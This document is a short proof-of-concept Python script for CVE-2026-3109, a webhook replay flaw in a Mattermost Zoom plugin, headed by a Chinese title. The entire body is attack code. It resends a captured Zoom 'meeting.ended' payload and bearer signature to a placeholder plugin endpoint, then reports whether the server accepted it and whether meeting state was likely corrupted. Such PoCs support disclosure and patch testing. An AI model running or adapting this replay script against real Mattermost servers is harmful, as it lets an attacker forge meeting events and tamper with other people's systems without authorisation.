CVE-2026-3109 Mattermost插件Webhook重放漏洞

import requests # PoC for CVE-2026-3109: Mattermost Webhook Replay Attack # This script demonstrates how a captured webhook request can be replayed # due to lack of timestamp validation. target_url = "https://mattermost.example.com/plugins/zoom/webhook" # Example captured payload (previously sent by Zoom) payload = { "event": "meeting.ended", "payload": { "object": { "id": "123456789", "topic": "Secret Meeting" } } } headers = { "Content-Type": "application/json", # Authorization header is often validated, but without timestamp check, # the signature remains valid for the replayed payload content. "Authorization": "Bearer <captured_signature>" } print("[*] Sending replayed webhook request...") response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Request accepted. Meeting state likely corrupted.") else: print(f"[-] Request failed. Status: {response.status_code}")